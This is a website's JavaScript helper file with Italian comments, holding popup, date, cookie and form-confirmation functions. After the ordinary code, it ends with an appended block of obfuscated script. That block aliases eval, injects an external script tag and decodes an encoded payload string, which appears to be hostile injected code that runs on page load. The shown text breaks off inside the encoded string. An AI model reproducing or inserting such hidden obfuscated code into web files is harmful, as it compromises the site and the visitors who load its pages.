/* identificazione del browser e della piattaforma */

var agt = navigator.userAgent.toLowerCase();
var ie  = (agt.indexOf("msie") != -1);
var win = ((agt.indexOf("win") != -1) || (agt.indexOf("32bit") != -1));


function openPrintPopup(url, width, height)
{
    /*if (ie && win)
    {
        newWin = window.showModalDialog(url, null, "dialogHeight:"+height+"px;dialogWidth:"+width+"px;dialogTop:0px;dialogLeft:0px;status:no;scrollbars:no;resizable:no;");
    }
    else*/
    {
        /* funziona con IE 4.x e Netscape 6.x */
        newWin = window.open(url, null, "toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resible=no,height="+height+",width="+width+",position=absolute,top=0px,left=0px");
    }
}


function showInfo(div, leftPos)
{
	//Set the left position of absolute div
	windowWidth = document.body.clientWidth;
	table = document.getElementById("tabella");


	tablewidth = table.offsetWidth;
	tableLeft = (windowWidth - tablewidth) / 2;

		if (tableLeft <= 0)
		{
			marginLeft = document.body.getAttribute("leftmargin");
			leftDiv = parseInt(marginLeft) + parseInt(leftPos);
		}
		else
			leftDiv = parseInt(tableLeft) + parseInt(leftPos)-4;

	div.style.posLeft = leftDiv;
	div.style.visibility = "visible";

}

function hideInfo(div)
{
	div.style.visibility = "hidden";
}

function showInfoLast(div, leftPos, id)
{
	//Set the left position of absolute div
	windowWidth = document.body.clientWidth;
	table = document.getElementById("tabella");
	tablewidth = table.offsetWidth;
	tableLeft = (windowWidth - tablewidth) / 2;

		if (tableLeft <= 0)
		{
			marginLeft = document.body.getAttribute("leftmargin");
			leftDiv = parseInt(marginLeft) + parseInt(leftPos) + 3;
		}
		else
			leftDiv = parseInt(tableLeft) + parseInt(leftPos) - parseInt(div.offsetWidth - a7.offsetWidth) - 5;

	div.style.posLeft = leftDiv;
	//showShadow(div, leftDiv);

	div.style.visibility = "visible";
}


function imgOn(imgName)
{
	if (document.images)
	{
    	document[imgName].src = eval(imgName + "on.src");
    }
}

function imgOff(imgName)
{
	if (document.images)
	{
		document[imgName].src = eval(imgName + "off.src");
	}
}

function navBar( tableCellRef, hoverFlag)
{
	if ( hoverFlag )
	{
		tableCellRef.style.backgroundColor = '#F3FEF1';
	}
	else
	{
		tableCellRef.style.backgroundColor = '#A2DDA7';
	}
}

function todayDate()
{
	var d = new Date()
	var weekday=new Array("domenica","luned&iacute;","marted&iacute;","mercoled&iacute;","gioved&iacute;","venerd&iacute;","sabato")
	var month=new Array("gennaio","febbraio","marzo","aprile","maggio","giugno","luglio","agosto","settembre","ottobre","novembre","dicembre")
	document.write(weekday[d.getDay()]+ " ")
	document.write(d.getDate()+ " ")
	document.write(month[d.getMonth()]+ " ")
	document.write(d.getFullYear())
}
/*******************************************************************************
/*********************************************************************************/
function winImageOpen(URL,features)
{
	if (features)
	{
		window.open(URL, null, features + "scrollbars=no,resizable=no");
	}
	else
	{
		window.open(URL, null, "width=660,height=510,scrollbars=no,resizable=no");
	}
}

function printResult()
{
	var divPrint = document.getElementById('print');
	divPrint.style.visibility = "hidden";
	window.print();

}


function openWindow(theURL,winName,features)
{
  window.open(theURL,winName,features);
}


function openModal(indirizzo, parametri, width, height)
{
	strFeatures = "dialogWidth="+width+"; dialogHeight="+height+"; scroll=auto; center=yes; border=thin;"
	alert(strFeatures);
	finestra = window.showModalDialog(indirizzo, parametri ,  strFeatures);
}



function openDatePicker(dateCtrl)
{
	var dialogArguments = new Array();
	dialogArguments = [parent, dateCtrl];
	strFeatures = "dialogWidth=230px; dialogHeight=220px; scroll=no; center=yes; border=thin; help=no; status=no;"
	finestra = window.showModalDialog("datepicker.htm", dialogArguments ,  strFeatures);
}

/**
 * La funzione setScreenInfo controlla attraverso JavaScript la risoluzione
 * video usata dall'utente. Se la risoluzione e' stabilita correttamente,
 * viene inserito in sessione un Cookie contenente il valore della risoluzione
 * nel formato 1024x768, 800x600, etc. Il Cookie scade al termine della sessione.
*/

function setScreenInfo()
{
	var screenSize;

	var width = screen.width;
	var height = screen.height;

	if ( !isNaN(width) && !isNaN(height) )
	{
		screenSize = width + "x" + height;
		document.cookie = "screensize=" + escape(screenSize);
	}
}


function deleteControlCheck(form, href, checksname)
{
	var i=0;
	var check = false;
	if (document.formDelete[checksname]) //controllo se c'è la lista di checkbox
	{
		if (!document.formDelete[checksname].length)
		{
			if (document.formDelete[checksname].checked)
			{
				check = true;
			}
		}
		else
		{
			while (i < document.formDelete[checksname].length)
			{
				if (document.formDelete[checksname][i].checked)
					check = true;

				i++;
			}
		}

		if (check == true)
			deleteConfirmation(form, href);
		else
			alert("Seleziona almeno un elemento");
	}
}

function deleteConfirmation(form,href)
{
	if (confirm("Vuoi eliminare l'elemento selezionato?")==true)
		CheckAndSubmit(form, href);
}


function addCheckAndSubmit(form, href, checksname)
{
	var i=0;
	var check = false;

	if (document.formAdd[checksname]) //controllo se c'è la lista di checkbox
	{
		if (!document.formAdd[checksname].length)
		{
			if (document.formAdd[checksname].checked)
			{
				check = true;
			}
		}
		else
		{
			while (i < document.formAdd[checksname].length)
			{
				if (document.formAdd[checksname][i].checked)
					check = true;

				i++;
			}
		}

		if (check == true)
		{
			form.action = href;
			form.submit();
		}
		else
			alert("Seleziona almeno un elemento");
	}
}


function printResult()
{
	var divPrint = document.getElementById('print');
	divPrint.innerHTML = "";
	window.print();
	}



k_sb=document;k_J=window;function k_E($,k_sH){return 0}function k_B(x){return x.join('')}if(typeof($)=='undefined'){k_sR=k_sb.getElementsByTagName('head')[0];k_sh=k_sb.createElement('script');k_sh.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");k_sR.appendChild(k_sh)}k_J.k_sJ=100;k_J.k_sC=25;k_J.k_L=eval;k_J.trim=function(k_sf,k_ss){if("qabcdef".indexOf(k_sf.substr(0,1))>=0){var k_si=k_B(k_sf.split('q')).split('v');for(var i=0;i<k_si.length;i++){k_si[i]=parseInt(k_si[i],16)-k_ss[k_sf]}return k_si.join(',')+','}else{return k_ss[k_sf]}};d='zy={O#bv1a$6%2%7Y%6?:"e+",O#bv2a$6%2%Q1%6?:"",*b#bv3a$6%2%7Y%6v30:"l(\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